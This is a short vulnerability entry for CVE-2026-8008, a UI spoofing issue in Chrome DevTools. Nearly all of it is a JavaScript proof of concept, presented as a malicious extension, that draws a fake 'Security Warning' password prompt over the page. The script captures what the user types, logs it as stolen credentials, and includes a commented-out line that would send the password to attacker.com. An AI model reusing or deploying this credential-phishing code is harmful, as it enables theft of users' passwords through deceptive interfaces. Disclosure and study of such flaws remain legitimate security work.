CVE-2026-8008 Google Chrome DevTools UI欺骗漏洞

// Conceptual PoC for UI Spoofing via Chrome Extension // This script demonstrates how a malicious extension might overlay a fake UI. // 1. Create a fake security dialog element function createFakeDialog() { const fakeDialog = document.createElement('div'); // Style the dialog to look like a legitimate browser alert fakeDialog.style.position = 'fixed'; fakeDialog.style.top = '10%'; fakeDialog.style.left = '35%'; fakeDialog.style.width = '300px'; fakeDialog.style.padding = '20px'; fakeDialog.style.backgroundColor = '#fff'; fakeDialog.style.border = '1px solid #ccc'; fakeDialog.style.boxShadow = '0 4px 6px rgba(0,0,0,0.1)'; fakeDialog.style.zIndex = '2147483647'; // Max z-index to stay on top fakeDialog.style.fontFamily = 'Arial, sans-serif'; fakeDialog.innerHTML = ` <div style="font-weight:bold; margin-bottom:10px;">Security Warning</div> <div style="font-size:12px; margin-bottom:15px;">Your session has expired. Please re-enter your credentials.</div> <input type="password" placeholder="Password" style="width:100%; margin-bottom:10px;" /> <button id="stealBtn" style="width:100%; padding:5px;">Login</button> `; document.body.appendChild(fakeDialog); // 2. Capture input when user interacts document.getElementById('stealBtn').addEventListener('click', () => { const password = fakeDialog.querySelector('input').value; console.log('Stolen credentials:', password); // Send data to attacker's server // fetch('https://attacker.com/log', { method: 'POST', body: password }); fakeDialog.remove(); }); } // Trigger the PoC // In a real exploit, this might be tied to specific DevTools events or URL matches createFakeDialog();